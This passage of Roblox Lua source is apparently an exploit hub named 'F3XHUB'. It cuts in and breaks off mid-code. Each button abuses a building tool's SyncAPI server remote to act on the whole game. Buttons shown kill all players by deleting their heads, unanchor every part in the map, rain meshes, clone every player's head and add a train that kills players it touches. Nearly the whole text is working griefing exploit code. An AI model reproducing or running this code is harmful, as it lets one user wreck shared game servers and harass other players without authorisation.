args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end hrpcf = player.Character.HumanoidRootPart.CFrame while wait(0.5) do x = hrpcf.x z = hrpcf.z randint = math.random(-600,600) randint2 = math.random(-600,600) xloc = randint + x zloc = randint2 + z cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc))) for i,v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v,"b_1337") SetAnchor(false,v) AddMesh(v) Resize(v, Vector3.new(100,100,100),v.CFrame) MeshResize(v,Vector3.new(20,20,20)) SetMesh(v,"1618237875") SetTexture(v, "1618237897") SetCollision(v,false) else end end end) end end) end end; task.spawn(C_12); -- StarterGui.F3XHUB.Bar.Main.Rain Toad.LocalScript local function C_15() local script = G2L["15"]; script.Parent.MouseButton1Down:Connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = workspace.Part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end hrpcf = player.Character.HumanoidRootPart.CFrame while wait(0.5) do x = hrpcf.x z = hrpcf.z randint = math.random(-600,600) randint2 = math.random(-600,600) xloc = randint + x zloc = randint2 + z cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc))) for i,v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v,"b_1337") SetAnchor(false,v) AddMesh(v) Resize(v, Vector3.new(100,100,100),v.CFrame) MeshResize(v,Vector3.new(8,8,8)) SetMesh(v,"5038530279") SetTexture(v, "5038530309") SetCollision(v,false) else end end end) end end) end; task.spawn(C_15); -- StarterGui.F3XHUB.Bar.Main.ThomasEngine.LocalScript local function C_18() local script = G2L["18"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end local player = game.Players.LocalPlayer local char = player.Character function xd() spawn(function() local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.Torso, ["Transparency"] = 1 }, [2] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"), ["Transparency"] = 1 }, [3] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart, ["Transparency"] = 1 }, [4] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"), ["Transparency"] = 1 }, [5] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"), ["Transparency"] = 1 }, [6] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"), ["Transparency"] = 1 }, [7] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.Head, ["Transparency"] = 1 }, } } _(args) end) end function Thomas(player) SetAnchor(true,char.HumanoidRootPart) CreatePart(char.HumanoidRootPart.CFrame,char,"Normal") SetCollision(char.Part,false) SetLocked(char.Part,false) Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame) CreateSpotlight(char.Part) SyncLighting(char.Part,100) SetLocked(char.HumanoidRootPart,false) Weld(char.Part,char.HumanoidRootPart,char.Part) SetAnchor(false,char.Part) AddMesh(char.Part) MeshResize(char.Part,Vector3.new(2,2,1.5)) SetMesh(char.Part,"2231280549") SetTexture(char.Part,"2231280614") SetAnchor(false,char.HumanoidRootPart) char.Humanoid.WalkSpeed = 60 local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end char.Part.Touched:connect(function(p) if p.Parent then if p.Parent:IsA("Model") then if game.Players:FindFirstChild(p.Parent.Name) then if p.Parent.Name ~= game.Players.LocalPlayer.Name then spawn(function() DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head) end) local Whistle = SFX(475073913) Whistle:Play() end end end end end) local Music = SFX(1837797926) Music.Pitch = 1.15 Music:Play() game:GetService("RunService").RenderStepped:Connect(function() for i,v in char:GetDescendants() do if v:IsA("BasePart") then char.Humanoid.WalkSpeed = 60 v.CanCollide = false end end end) end Thomas(player) xd() end) end; task.spawn(C_18); -- StarterGui.F3XHUB.Bar.Main.Unanchor.LocalScript local function C_1b() local script = G2L["1b"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() end) end; task.spawn(C_1b); -- StarterGui.F3XHUB.Bar.Main.CreateBasePlate.LocalScript local function C_1e() local script = G2L["1e"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent,types) local args = { [1] = "CreatePart", [2] = types, [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Material(part,mate) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function toptexturecreate(part) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = Enum.NormalId.Top, ["TextureType"] = "Texture" } } } _(args) end function toptextureadd(part) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = Enum.NormalId.Top, ["TextureType"] = "Texture", ["Texture"] = "rbxassetid://104465570975014", ["StudsPerTileV"] = 10, ["StudsPerTileU"] = 10 } } } _(args) end hrpx = math.floor(char.HumanoidRootPart.CFrame.x) hrpz = math.floor(char.HumanoidRootPart.CFrame.z) hrpy = math.floor(char.HumanoidRootPart.CFrame.y) function SpawnBasePlate() CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn") for i,v in game.Workspace:GetChildren() do if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then spawn(function() Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz)) Color(v,Color3.fromRGB(100,0,255)) toptexturecreate(v) toptextureadd(v) while wait(1) do pcall(function()SetLocked(v,true)end) end end) end end end SpawnBasePlate() end) end; task.spawn(C_1e); -- StarterGui.F3XHUB.Bar.Main.KillAll.LocalScript local function C_21() local script = G2L["21"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function KillAll() for i,v in game.Players:GetPlayers() do spawn(function() SetLocked(v.Character.Head,false) DestroyPart(v.Character.Head) end) end end KillAll() end) end; task.spawn(C_21); -- StarterGui.F3XHUB.Bar.Main.PersonalityAll.LocalScript local function C_24() local script = G2L["24"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function ClonePart(part) local args = { [1] = "Clone", [2] = { [1] = part }, [3] = workspace } _(args) end function clonehead(player) char = player.Character ClonePart(char.Head) end for i,v in game.Players:GetPlayers() do --spawn(function() pcall(function() clonehead(v) end) --end) end end) end; task.spawn(C_24); -- StarterGui.F3XHUB.Bar.Main.Skybox.LocalScript local function C_27() local script = G2L["27"]; script.Parent.MouseButton1Down:Connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("98767169867299") end) end; task.spawn(C_27); -- StarterGui.F3XHUB.Bar.Main.Peircer.LocalScript local function C_2a() local script = G2L["2a"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Material(part,mate) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } _(args) end for i,v in game.Workspace:GetDescendants() do spawn(function() Material(v,Enum.Material.Neon) end) end end) end; task.spawn(C_2a); -- StarterGui.F3XHUB.Bar.Main.StickAll.LocalScript local function C_2d() local script = G2L["2d"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Stickify() for i,v in game.Players:GetPlayers() do for i,x in v.Character:GetDescendants() 